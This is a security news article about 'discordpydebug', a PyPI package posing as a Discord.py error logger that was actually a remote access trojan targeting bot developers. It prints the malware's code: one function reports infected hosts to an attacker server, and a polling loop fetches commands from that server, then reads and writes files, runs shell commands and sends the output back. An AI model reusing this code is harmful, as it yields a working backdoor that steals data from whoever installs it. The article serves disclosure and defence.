A deceptive Python package has been exposed as an advanced remote access trojan (RAT), specifically designed to target Discord developers.
On March 21, 2022, a package titled ‘discordpydebug’ surfaced on the Python Package Index (PyPI), misleadingly described as a “Discord py error logger.”
Presented as a useful tool for developers using the Discord.py library, discordpydebug secretly harbored harmful code aimed at creating unauthorized access to users’ systems.
The malicious package specifically targeted Discord bot developers—often independent creators, automation engineers, or smaller teams who may install tools without thoroughly vetting them for security risks.
With Discord’s expansive user base of over 200 million monthly active users, including a significant number engaging with third-party applications, it provides an ideal environment for such attacks to thrive.
The collaborative nature of the Discord developer community, where code snippets and helpful tips are regularly exchanged in servers and private messages, creates an environment ripe for the rapid spread of malicious software via trusted sources.
Researchers from Socket.dev Push revealed that the package functioned as a full-fledged remote access trojan, establishing a hidden command-and-control (C2) channel while maintaining the appearance of a legitimate utility.
Despite lacking any official documentation or description, the package remarkably managed to accumulate over 11,000 downloads, exposing thousands of developer systems to potential unauthorized access and the risk of sensitive data theft.
The effects of this malware went beyond simple system breaches. By infiltrating Discord bot developers, attackers gained potential access to sensitive information, including bot tokens, user data, and server details.
Compromised systems could be exploited for further lateral movement within networks or used as launching points for more advanced attacks targeting Discord’s broader user base.
Infection Mechanism and Command Execution
A technical breakdown of the malware reveals its cunning, yet simple method for maintaining control. Upon installation, the package immediately connects to an attacker-controlled server at backstabprotection.jamesx123.repl.co.
The first action is performed by the run() function, which stealthily reports the infected host to the attacker:
Python
def run(value):
link = “https://backstabprotection.jamesx123.repl.co/”
try:
data = {‘name’: value}
req.post(link, data)
except:
pass
return value
The malware’s core functionality operates in a polling loop that checks for incoming commands every second. The debug() function enables remote execution of arbitrary shell commands and file manipulation:
Python
def debug():
link = “https://backstabprotection.jamesx123.repl.co/”
while True:
try:
output = []
resp = req.get(link).text
if “readfile” in resp:
x = open(resp.split(” “)[1], “r”)
contents = x.read()
output.append(contents.encode(“utf-8”))
elif “writefile” in resp:
x = open(resp.split(” “)[1], “w”)
x.write(resp.split(” “)[2])
output.append(b”done”)
else:
output = runcommand(resp)
for i in output:
req.post(link + “output”, {‘output’: i.decode(‘utf-8’)})
except:
pass
time.sleep(1)
The malware’s design allows it to bypass many firewalls and security tools by utilizing outbound HTTP polling instead of inbound connections, making it particularly effective in development environments with weaker security measures.
After its discovery, the malicious package was reported to PyPI’s security team and was removed. However, the incident underscores the persistent challenges in safeguarding open-source ecosystems against increasingly advanced social engineering tactics.
